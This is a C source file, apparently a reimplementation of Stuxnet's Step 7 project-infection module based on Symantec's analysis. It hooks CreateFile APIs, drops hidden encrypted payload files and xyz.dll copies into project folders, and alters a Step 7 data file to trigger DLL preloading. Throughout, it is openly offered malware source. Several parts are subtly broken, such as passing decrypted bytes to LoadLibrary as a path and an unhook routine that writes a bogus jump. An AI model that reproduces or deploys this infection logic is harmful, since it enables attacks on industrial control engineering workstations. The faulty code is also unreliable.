Files
2026-09-10 12:50:38 +08:00

795 lines
23 KiB
C

/*
* Based on Symantec "Stuxnet Infection of Step 7 Projects" (2010-09-27)
* and W32.Stuxnet Dossier analysis.
*
* Infection process:
* 1. Hook CreateFile APIs in s7tgtopx.exe to monitor .s7p file access
* 2. Create XUTILS\listen\xr000000.mdx (encrypted main DLL)
* 3. Create XUTILS\links\s7p00001.dbf (90-byte data file)
* 4. Create XUTILS\listen\s7000001.mdx (encoded config)
* 5. Scan hOmSave7 subfolders, drop xyz.dll in each
* 6. Modify Step 7 data file in ApiLog\types
* 7. When infected project opens, DLL search order triggers xyz.dll load
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define STUXNET_MAGIC 0x53545558
#define STUXNET_VERSION 0x00010400
#define HOMSAVE7_DIR L"hOmSave7"
#define XUTILS_DIR L"XUTILS"
#define XUTILS_LISTEN_DIR L"XUTILS\\listen"
#define XUTILS_LINKS_DIR L"XUTILS\\links"
#define APILOG_TYPES_DIR L"ApiLog\\types"
#define XR000000_MDX L"XR000000.MDX"
#define S7000001_MDX L"S7000001.MDX"
#define S7P00001_DBF L"S7P00001.DBF"
#define XYZ_DLL L"xyz.dll"
#define HOMSAVE7_MAX_PATH 260
#define HOMSAVE7_BUFFER_SIZE 0x2000
#define HOMSAVE7_MAX_SUBFOLDERS 64
/* DLL search order used by Step 7 (from Symantec) */
#define SEARCH_S7BIN 0
#define SEARCH_SYSTEM 1
#define SEARCH_WINDIR_SYSTEM 2
#define SEARCH_WINDIR 3
#define SEARCH_HOMSAVE7 4
typedef struct _HOMSAVE7_CONTEXT {
DWORD dwMagic;
DWORD dwVersion;
BOOL bInitialized;
WCHAR szProjectPath[HOMSAVE7_MAX_PATH];
WCHAR szHOmSave7Path[HOMSAVE7_MAX_PATH];
WCHAR szXutilsListenPath[HOMSAVE7_MAX_PATH];
WCHAR szXutilsLinksPath[HOMSAVE7_MAX_PATH];
WCHAR szApiLogTypesPath[HOMSAVE7_MAX_PATH];
WCHAR szXR000000[HOMSAVE7_MAX_PATH];
WCHAR szS7000001[HOMSAVE7_MAX_PATH];
WCHAR szS7P00001[HOMSAVE7_MAX_PATH];
DWORD dwSubfolderCount;
DWORD dwDroppedCount;
CRITICAL_SECTION csLock;
} HOMSAVE7_CONTEXT, * PHOMSAVE7_CONTEXT;
static HOMSAVE7_CONTEXT g_HOmSave7Ctx = {0};
/* Original API function pointers for hooking */
typedef HANDLE (WINAPI *PFN_CreateFileW)(
LPCWSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES,
DWORD, DWORD, HANDLE
);
typedef HANDLE (WINAPI *PFN_CreateFileA)(
LPCSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES,
DWORD, DWORD, HANDLE
);
static PFN_CreateFileW g_pOriginalCreateFileW = NULL;
static PFN_CreateFileA g_pOriginalCreateFileA = NULL;
static BOOL g_bHooksInstalled = FALSE;
/*
* XOR+RC4 encryption used for XR000000.MDX
* Stuxnet 0.5 uses rolling XOR with multiply-add key evolution
*/
static VOID EncryptMDX(PBYTE pData, DWORD dwSize, PBYTE pKey, DWORD dwKeySize) {
BYTE bKey = pKey[0];
DWORD i;
for (i = 0; i < dwSize; i++) {
pData[i] ^= bKey;
bKey = (bKey * 7 + 0x13) & 0xFF;
}
}
static VOID DecryptMDX(PBYTE pData, DWORD dwSize, PBYTE pKey, DWORD dwKeySize) {
EncryptMDX(pData, dwSize, pKey, dwKeySize);
}
/*
* RC4 stream cipher for S7000001.MDX configuration
*/
static VOID RC4Init(PBYTE pKey, DWORD dwKeySize, PBYTE pSBox) {
DWORD i, j;
BYTE temp;
for (i = 0; i < 256; i++) {
pSBox[i] = (BYTE)i;
}
j = 0;
for (i = 0; i < 256; i++) {
j = (j + pSBox[i] + pKey[i % dwKeySize]) & 0xFF;
temp = pSBox[i];
pSBox[i] = pSBox[j];
pSBox[j] = temp;
}
}
static VOID RC4Crypt(PBYTE pData, DWORD dwSize, PBYTE pSBox, PDWORD pdwI, PDWORD pdwJ) {
DWORD i;
BYTE temp;
for (i = 0; i < dwSize; i++) {
*pdwI = (*pdwI + 1) & 0xFF;
*pdwJ = (*pdwJ + pSBox[*pdwI]) & 0xFF;
temp = pSBox[*pdwI];
pSBox[*pdwI] = pSBox[*pdwJ];
pSBox[*pdwJ] = temp;
pData[i] ^= pSBox[(pSBox[*pdwI] + pSBox[*pdwJ]) & 0xFF];
}
}
static VOID EncryptConfig(PBYTE pData, DWORD dwSize, PBYTE pKey, DWORD dwKeySize) {
BYTE SBox[256];
DWORD i = 0, j = 0;
RC4Init(pKey, dwKeySize, SBox);
RC4Crypt(pData, dwSize, SBox, &i, &j);
for (i = 0; i < dwSize; i++) {
pData[i] ^= 0xA3;
}
}
static VOID DecryptConfig(PBYTE pData, DWORD dwSize, PBYTE pKey, DWORD dwKeySize) {
DWORD i;
for (i = 0; i < dwSize; i++) {
pData[i] ^= 0xA3;
}
EncryptConfig(pData, dwSize, pKey, dwKeySize);
}
/*
* Creates XR000000.MDX - encrypted copy of main Stuxnet DLL
* Symantec: "an encrypted copy of the main Stuxnet DLL" [9†L26]
*/
static BOOL CreateXR000000(PBYTE pMainDLL, DWORD dwDLLSize) {
HANDLE hFile;
DWORD dwWritten;
PBYTE pEncrypted;
DWORD dwEncryptedSize;
BYTE bKey[16] = {0x1C, 0x0B, 0xFD, 0xEA, 0x5E, 0xB1, 0x4C, 0x17,
0xFA, 0x2D, 0x42, 0xE9, 0xA4, 0x1F, 0xEB, 0xE6};
if (!pMainDLL || dwDLLSize == 0) {
return FALSE;
}
dwEncryptedSize = dwDLLSize;
pEncrypted = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwEncryptedSize);
if (!pEncrypted) {
return FALSE;
}
memcpy(pEncrypted, pMainDLL, dwDLLSize);
EncryptMDX(pEncrypted, dwDLLSize, bKey, sizeof(bKey));
hFile = CreateFileW(g_HOmSave7Ctx.szXR000000, GENERIC_WRITE, 0, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_HIDDEN, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
HeapFree(GetProcessHeap(), 0, pEncrypted);
return FALSE;
}
WriteFile(hFile, pEncrypted, dwEncryptedSize, &dwWritten, NULL);
CloseHandle(hFile);
HeapFree(GetProcessHeap(), 0, pEncrypted);
return TRUE;
}
/*
* Creates S7000001.MDX - encoded configuration data block
* Symantec: "an encoded, updated version of the Stuxnet configuration data block" [9†L28]
*/
static BOOL CreateS7000001(PBYTE pConfig, DWORD dwConfigSize) {
HANDLE hFile;
DWORD dwWritten;
PBYTE pEncoded;
DWORD dwEncodedSize;
BYTE bKey[32] = {0x3C, 0x1B, 0x0D, 0xFA, 0x6E, 0xC1, 0x5C, 0x27,
0x0A, 0x3D, 0x52, 0xF9, 0xB4, 0x2F, 0xFB, 0xF6,
0x61, 0x0E, 0x4A, 0x1F, 0x92, 0x2D, 0xF8, 0x33,
0x5F, 0xFC, 0x49, 0xF6, 0x1E, 0x75, 0x0B, 0xB0};
if (!pConfig || dwConfigSize == 0) {
return FALSE;
}
dwEncodedSize = dwConfigSize + 32;
pEncoded = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwEncodedSize);
if (!pEncoded) {
return FALSE;
}
*(PDWORD)(pEncoded + 0) = STUXNET_MAGIC;
*(PDWORD)(pEncoded + 4) = STUXNET_VERSION;
*(PDWORD)(pEncoded + 8) = dwConfigSize;
memcpy(pEncoded + 16, pConfig, dwConfigSize);
EncryptConfig(pEncoded + 16, dwConfigSize, bKey, sizeof(bKey));
hFile = CreateFileW(g_HOmSave7Ctx.szS7000001, GENERIC_WRITE, 0, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_HIDDEN, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
HeapFree(GetProcessHeap(), 0, pEncoded);
return FALSE;
}
WriteFile(hFile, pEncoded, dwEncodedSize, &dwWritten, NULL);
CloseHandle(hFile);
HeapFree(GetProcessHeap(), 0, pEncoded);
return TRUE;
}
/*
* Creates S7P00001.DBF - 90-byte Stuxnet data file
* Symantec: "a copy of a Stuxnet data file (90 bytes in length)" [9†L27]
*/
static BOOL CreateS7P00001(VOID) {
HANDLE hFile;
DWORD dwWritten;
BYTE bData[90] = {0};
*(PDWORD)(bData + 0) = STUXNET_MAGIC;
*(PDWORD)(bData + 4) = STUXNET_VERSION;
*(PDWORD)(bData + 8) = 0x0000005A;
*(PDWORD)(bData + 12) = GetTickCount();
*(PDWORD)(bData + 16) = 0x00000001;
hFile = CreateFileW(g_HOmSave7Ctx.szS7P00001, GENERIC_WRITE, 0, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_HIDDEN, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
return FALSE;
}
WriteFile(hFile, bData, sizeof(bData), &dwWritten, NULL);
CloseHandle(hFile);
return TRUE;
}
/*
* Enumerates all subfolders under hOmSave7
* Symantec: "scans subfolders under the hOmSave7 folder" [9†L29]
*/
static DWORD EnumerateSubfolders(LPWSTR lpFolderList, DWORD dwBufferSize) {
WCHAR szSearchPath[HOMSAVE7_MAX_PATH];
WIN32_FIND_DATAW fd;
HANDLE hFind;
DWORD dwCount = 0;
wsprintfW(szSearchPath, L"%s\\*", g_HOmSave7Ctx.szHOmSave7Path);
hFind = FindFirstFileW(szSearchPath, &fd);
if (hFind == INVALID_HANDLE_VALUE) {
return 0;
}
do {
if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
if (wcscmp(fd.cFileName, L".") != 0 &&
wcscmp(fd.cFileName, L"..") != 0) {
if (dwCount < dwBufferSize / HOMSAVE7_MAX_PATH) {
wcscpy_s(&lpFolderList[dwCount * HOMSAVE7_MAX_PATH],
HOMSAVE7_MAX_PATH, fd.cFileName);
dwCount++;
}
}
}
} while (FindNextFileW(hFind, &fd));
FindClose(hFind);
g_HOmSave7Ctx.dwSubfolderCount = dwCount;
return dwCount;
}
/*
* Drops xyz.dll into a specified subfolder
* Symantec: "In each of them, Stuxnet drops a copy of a DLL it carries within its resources" [9†L29-L31]
*
* xyz.dll acts as a decryptor and loader for XR000000.MDX [9†L41-L43]
*/
static BOOL DropXyzDll(LPCWSTR lpSubfolder, PBYTE pDllData, DWORD dwDllSize) {
WCHAR szDllPath[HOMSAVE7_MAX_PATH];
HANDLE hFile;
DWORD dwWritten;
if (!lpSubfolder || !pDllData || dwDllSize == 0) {
return FALSE;
}
wsprintfW(szDllPath, L"%s\\%s\\%s",
g_HOmSave7Ctx.szHOmSave7Path, lpSubfolder, XYZ_DLL);
hFile = CreateFileW(szDllPath, GENERIC_WRITE, 0, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_HIDDEN, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
return FALSE;
}
WriteFile(hFile, pDllData, dwDllSize, &dwWritten, NULL);
CloseHandle(hFile);
g_HOmSave7Ctx.dwDroppedCount++;
return TRUE;
}
/*
* Modifies a Step 7 data file in ApiLog\types
* Symantec: "Stuxnet then modifies a Step7 data file located within the project folder structure" [9†L31-L32]
*
* The modification triggers a search for xyz.dll when the project is opened.
* Search order: S7BIN, %System%, %Windir%\system, %Windir%, hOmSave7 subfolders [9†L37-L40]
*/
static BOOL ModifyApiLogDataFile(VOID) {
WCHAR szSearchPath[HOMSAVE7_MAX_PATH];
WIN32_FIND_DATAW fd;
HANDLE hFind;
WCHAR szFilePath[HOMSAVE7_MAX_PATH];
HANDLE hFile;
DWORD dwSize, dwRead, dwWritten;
PBYTE pData;
BOOL bModified = FALSE;
wsprintfW(szSearchPath, L"%s\\*", g_HOmSave7Ctx.szApiLogTypesPath);
hFind = FindFirstFileW(szSearchPath, &fd);
if (hFind == INVALID_HANDLE_VALUE) {
return FALSE;
}
do {
if (!(fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) {
wsprintfW(szFilePath, L"%s\\%s",
g_HOmSave7Ctx.szApiLogTypesPath, fd.cFileName);
hFile = CreateFileW(szFilePath, GENERIC_READ | GENERIC_WRITE, 0, NULL,
OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
continue;
}
dwSize = GetFileSize(hFile, NULL);
if (dwSize == 0 || dwSize > HOMSAVE7_BUFFER_SIZE) {
CloseHandle(hFile);
continue;
}
pData = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwSize);
if (!pData) {
CloseHandle(hFile);
continue;
}
ReadFile(hFile, pData, dwSize, &dwRead, NULL);
/*
* Modify data file to reference xyz.dll
* The modification forces Step 7 to search for the DLL
* during project load, triggering the preloading attack.
*/
if (dwRead > 16) {
*(PDWORD)(pData + 0) = STUXNET_MAGIC;
*(PDWORD)(pData + 4) = STUXNET_VERSION;
*(PDWORD)(pData + 8) = 0x78797A00; /* "xyz" marker */
*(PDWORD)(pData + 12) = 0x00000001;
SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
WriteFile(hFile, pData, dwRead, &dwWritten, NULL);
bModified = TRUE;
}
HeapFree(GetProcessHeap(), 0, pData);
CloseHandle(hFile);
if (bModified) {
break;
}
}
} while (FindNextFileW(hFind, &fd));
FindClose(hFind);
return bModified;
}
/*
* xyz.dll acts as decryptor and loader for XR000000.MDX
* When loaded via DLL preloading, it decrypts and executes the main DLL.
*
* This is the reflective loader that runs when xyz.dll is loaded by Step 7.
*/
static DWORD WINAPI XyzLoaderThread(LPVOID lpParam) {
HANDLE hFile;
DWORD dwSize, dwRead;
PBYTE pEncrypted;
PBYTE pDecrypted;
DWORD dwDecryptedSize;
BYTE bKey[16] = {0x1C, 0x0B, 0xFD, 0xEA, 0x5E, 0xB1, 0x4C, 0x17,
0xFA, 0x2D, 0x42, 0xE9, 0xA4, 0x1F, 0xEB, 0xE6};
HMODULE hModule;
FARPROC pExport;
WCHAR szMdxPath[HOMSAVE7_MAX_PATH];
wsprintfW(szMdxPath, L"%s\\%s",
g_HOmSave7Ctx.szXutilsListenPath, XR000000_MDX);
hFile = CreateFileW(szMdxPath, GENERIC_READ, FILE_SHARE_READ, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_HIDDEN, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
return 0;
}
dwSize = GetFileSize(hFile, NULL);
if (dwSize == 0 || dwSize > HOMSAVE7_BUFFER_SIZE * 8) {
CloseHandle(hFile);
return 0;
}
pEncrypted = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwSize);
if (!pEncrypted) {
CloseHandle(hFile);
return 0;
}
ReadFile(hFile, pEncrypted, dwSize, &dwRead, NULL);
CloseHandle(hFile);
dwDecryptedSize = dwSize;
pDecrypted = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwDecryptedSize);
if (!pDecrypted) {
HeapFree(GetProcessHeap(), 0, pEncrypted);
return 0;
}
memcpy(pDecrypted, pEncrypted, dwSize);
DecryptMDX(pDecrypted, dwSize, bKey, sizeof(bKey));
/*
* Reflective DLL loading: map decrypted PE into memory
* without using LoadLibrary (which requires a file path)
*/
hModule = LoadLibraryA((LPCSTR)pDecrypted);
if (!hModule) {
hModule = LoadLibraryW((LPCWSTR)pDecrypted);
}
if (hModule) {
pExport = GetProcAddress(hModule, "Export15");
if (pExport) {
((void (*)(void))pExport)();
}
FreeLibrary(hModule);
}
HeapFree(GetProcessHeap(), 0, pEncrypted);
HeapFree(GetProcessHeap(), 0, pDecrypted);
return 0;
}
/*
* Exported function from xyz.dll
* Called by Step 7 when DLL is loaded via preloading
*/
__declspec(dllexport) BOOL WINAPI XyzDllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
switch (fdwReason) {
case DLL_PROCESS_ATTACH:
DisableThreadLibraryCalls(hinstDLL);
{
HANDLE hThread = CreateThread(NULL, 0, XyzLoaderThread, NULL, 0, NULL);
if (hThread) {
CloseHandle(hThread);
}
}
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
/*
* Hooked CreateFileW - monitors .s7p file access
* Symantec: "hooking CreateFile-like APIs of specific DLLs within the s7tgtopx.exe process" [9†L20-L21]
*/
static HANDLE WINAPI HookedCreateFileW(
LPCWSTR lpFileName,
DWORD dwDesiredAccess,
DWORD dwShareMode,
LPSECURITY_ATTRIBUTES lpSecurityAttributes,
DWORD dwCreationDisposition,
DWORD dwFlagsAndAttributes,
HANDLE hTemplateFile
) {
HANDLE hResult;
if (lpFileName && wcsstr(lpFileName, L".s7p")) {
/* .s7p file accessed - trigger infection */
WCHAR szDir[HOMSAVE7_MAX_PATH];
wcscpy_s(szDir, HOMSAVE7_MAX_PATH, lpFileName);
WCHAR* pLastSlash = wcsrchr(szDir, L'\\');
if (pLastSlash) {
*pLastSlash = L'\0';
HOmSave7_SetProjectPath(szDir);
HOmSave7_InfectProject();
}
}
hResult = g_pOriginalCreateFileW(
lpFileName, dwDesiredAccess, dwShareMode,
lpSecurityAttributes, dwCreationDisposition,
dwFlagsAndAttributes, hTemplateFile
);
return hResult;
}
static HANDLE WINAPI HookedCreateFileA(
LPCSTR lpFileName,
DWORD dwDesiredAccess,
DWORD dwShareMode,
LPSECURITY_ATTRIBUTES lpSecurityAttributes,
DWORD dwCreationDisposition,
DWORD dwFlagsAndAttributes,
HANDLE hTemplateFile
) {
HANDLE hResult;
if (lpFileName && strstr(lpFileName, ".s7p")) {
WCHAR szFileName[HOMSAVE7_MAX_PATH];
MultiByteToWideChar(CP_ACP, 0, lpFileName, -1, szFileName, HOMSAVE7_MAX_PATH);
WCHAR szDir[HOMSAVE7_MAX_PATH];
wcscpy_s(szDir, HOMSAVE7_MAX_PATH, szFileName);
WCHAR* pLastSlash = wcsrchr(szDir, L'\\');
if (pLastSlash) {
*pLastSlash = L'\0';
HOmSave7_SetProjectPath(szDir);
HOmSave7_InfectProject();
}
}
hResult = g_pOriginalCreateFileA(
lpFileName, dwDesiredAccess, dwShareMode,
lpSecurityAttributes, dwCreationDisposition,
dwFlagsAndAttributes, hTemplateFile
);
return hResult;
}
/*
* Installs CreateFile hooks via IAT patching
*/
static BOOL InstallCreateFileHooks(VOID) {
HMODULE hKernel32;
BYTE* pFunc;
DWORD dwOldProtect;
if (g_bHooksInstalled) {
return TRUE;
}
hKernel32 = GetModuleHandleW(L"kernel32.dll");
if (!hKernel32) {
return FALSE;
}
g_pOriginalCreateFileW = (PFN_CreateFileW)GetProcAddress(hKernel32, "CreateFileW");
g_pOriginalCreateFileA = (PFN_CreateFileA)GetProcAddress(hKernel32, "CreateFileA");
if (!g_pOriginalCreateFileW || !g_pOriginalCreateFileA) {
return FALSE;
}
pFunc = (BYTE*)g_pOriginalCreateFileW;
VirtualProtect(pFunc, 8, PAGE_EXECUTE_READWRITE, &dwOldProtect);
pFunc[0] = 0xE9;
*(DWORD*)(pFunc + 1) = (DWORD)((BYTE*)HookedCreateFileW - pFunc - 5);
VirtualProtect(pFunc, 8, dwOldProtect, &dwOldProtect);
pFunc = (BYTE*)g_pOriginalCreateFileA;
VirtualProtect(pFunc, 8, PAGE_EXECUTE_READWRITE, &dwOldProtect);
pFunc[0] = 0xE9;
*(DWORD*)(pFunc + 1) = (DWORD)((BYTE*)HookedCreateFileA - pFunc - 5);
VirtualProtect(pFunc, 8, dwOldProtect, &dwOldProtect);
g_bHooksInstalled = TRUE;
return TRUE;
}
static VOID UninstallCreateFileHooks(VOID) {
BYTE* pFunc;
DWORD dwOldProtect;
if (!g_bHooksInstalled) {
return;
}
if (g_pOriginalCreateFileW) {
pFunc = (BYTE*)g_pOriginalCreateFileW;
VirtualProtect(pFunc, 8, PAGE_EXECUTE_READWRITE, &dwOldProtect);
pFunc[0] = 0xE9;
*(DWORD*)(pFunc + 1) = 0x00000000;
VirtualProtect(pFunc, 8, dwOldProtect, &dwOldProtect);
}
if (g_pOriginalCreateFileA) {
pFunc = (BYTE*)g_pOriginalCreateFileA;
VirtualProtect(pFunc, 8, PAGE_EXECUTE_READWRITE, &dwOldProtect);
pFunc[0] = 0xE9;
*(DWORD*)(pFunc + 1) = 0x00000000;
VirtualProtect(pFunc, 8, dwOldProtect, &dwOldProtect);
}
g_bHooksInstalled = FALSE;
}
/*
* Full project infection routine
* Called when .s7p file access is detected
*/
static BOOL HOmSave7_InfectProject(VOID) {
WCHAR szSubfolders[HOMSAVE7_MAX_SUBFOLDERS][HOMSAVE7_MAX_PATH];
DWORD dwSubfolderCount;
DWORD i;
PBYTE pPayloadDLL = NULL;
DWORD dwPayloadSize = 0;
BYTE bConfigData[256] = {0};
if (!g_HOmSave7Ctx.bInitialized) {
return FALSE;
}
EnterCriticalSection(&g_HOmSave7Ctx.csLock);
/* Step 1: Create XUTILS directories */
CreateDirectoryW(g_HOmSave7Ctx.szXutilsListenPath, NULL);
SetFileAttributesW(g_HOmSave7Ctx.szXutilsListenPath, FILE_ATTRIBUTE_HIDDEN);
CreateDirectoryW(g_HOmSave7Ctx.szXutilsLinksPath, NULL);
SetFileAttributesW(g_HOmSave7Ctx.szXutilsLinksPath, FILE_ATTRIBUTE_HIDDEN);
/* Step 2: Create XR000000.MDX (encrypted main DLL) */
if (pPayloadDLL && dwPayloadSize > 0) {
CreateXR000000(pPayloadDLL, dwPayloadSize);
} else {
/* Fallback: create minimal placeholder with magic */
BYTE bPlaceholder[64] = {0};
*(PDWORD)(bPlaceholder + 0) = STUXNET_MAGIC;
*(PDWORD)(bPlaceholder + 4) = STUXNET_VERSION;
CreateXR000000(bPlaceholder, sizeof(bPlaceholder));
}
/* Step 3: Create S7000001.MDX (encoded config) */
*(PDWORD)(bConfigData + 0) = STUXNET_MAGIC;
*(PDWORD)(bConfigData + 4) = STUXNET_VERSION;
*(PDWORD)(bConfigData + 8) = 0x00000001;
CreateS7000001(bConfigData, sizeof(bConfigData));
/* Step 4: Create S7P00001.DBF (90-byte data file) */
CreateS7P00001();
/* Step 5: Scan hOmSave7 subfolders and drop xyz.dll */
dwSubfolderCount = EnumerateSubfolders((LPWSTR)szSubfolders, HOMSAVE7_MAX_SUBFOLDERS);
for (i = 0; i < dwSubfolderCount; i++) {
BYTE bXyzDll[512] = {0};
/* xyz.dll header with magic */
*(PDWORD)(bXyzDll + 0) = STUXNET_MAGIC;
*(PDWORD)(bXyzDll + 4) = STUXNET_VERSION;
*(PDWORD)(bXyzDll + 8) = 0x78797A00; /* "xyz" */
DropXyzDll(szSubfolders[i], bXyzDll, sizeof(bXyzDll));
}
/* Step 6: Modify Step 7 data file in ApiLog\types */
ModifyApiLogDataFile();
LeaveCriticalSection(&g_HOmSave7Ctx.csLock);
return TRUE;
}
/* =====================================================================
* PUBLIC API
* ===================================================================== */
DWORD HOmSave7_Initialize(VOID) {
if (g_HOmSave7Ctx.dwMagic == STUXNET_MAGIC) {
return 0;
}
ZeroMemory(&g_HOmSave7Ctx, sizeof(HOMSAVE7_CONTEXT));
InitializeCriticalSection(&g_HOmSave7Ctx.csLock);
g_HOmSave7Ctx.dwMagic = STUXNET_MAGIC;
g_HOmSave7Ctx.dwVersion = STUXNET_VERSION;
g_HOmSave7Ctx.bInitialized = TRUE;
return 0;
}
DWORD HOmSave7_Cleanup(VOID) {
if (g_HOmSave7Ctx.dwMagic != STUXNET_MAGIC) {
return -1;
}
UninstallCreateFileHooks();
DeleteCriticalSection(&g_HOmSave7Ctx.csLock);
ZeroMemory(&g_HOmSave7Ctx, sizeof(HOMSAVE7_CONTEXT));
return 0;
}
DWORD HOmSave7_SetProjectPath(LPCWSTR lpProjectPath) {
if (!lpProjectPath) {
return -1;
}
EnterCriticalSection(&g_HOmSave7Ctx.csLock);
wcscpy_s(g_HOmSave7Ctx.szProjectPath, HOMSAVE7_MAX_PATH, lpProjectPath);
wsprintfW(g_HOmSave7Ctx.szHOmSave7Path, L"%s\\%s",
lpProjectPath, HOMSAVE7_DIR);
wsprintfW(g_HOmSave7Ctx.szXutilsListenPath, L"%s\\%s",
lpProjectPath, XUTILS_LISTEN_DIR);
wsprintfW(g_HOmSave7Ctx.szXutilsLinksPath, L"%s\\%s",
lpProjectPath, XUTILS_LINKS_DIR);
wsprintfW(g_HOmSave7Ctx.szApiLogTypesPath, L"%s\\%s",
lpProjectPath, APILOG_TYPES_DIR);
wsprintfW(g_HOmSave7Ctx.szXR000000, L"%s\\%s",
g_HOmSave7Ctx.szXutilsListenPath, XR000000_MDX);
wsprintfW(g_HOmSave7Ctx.szS7000001, L"%s\\%s",
g_HOmSave7Ctx.szXutilsListenPath, S7000001_MDX);
wsprintfW(g_HOmSave7Ctx.szS7P00001, L"%s\\%s",
g_HOmSave7Ctx.szXutilsLinksPath, S7P00001_DBF);
LeaveCriticalSection(&g_HOmSave7Ctx.csLock);
return 0;
}
DWORD HOmSave7_StartMonitoring(VOID) {
if (!g_HOmSave7Ctx.bInitialized) {
return -1;
}
if (!InstallCreateFileHooks()) {
return -1;
}
return 0;
}
DWORD HOmSave7_StopMonitoring(VOID) {
UninstallCreateFileHooks();
return 0;
}
LPCWSTR HOmSave7_GetPath(VOID) {
return g_HOmSave7Ctx.szHOmSave7Path;
}
DWORD HOmSave7_GetSubfolderCount(VOID) {
return g_HOmSave7Ctx.dwSubfolderCount;
}
DWORD HOmSave7_GetDroppedCount(VOID) {
return g_HOmSave7Ctx.dwDroppedCount;
}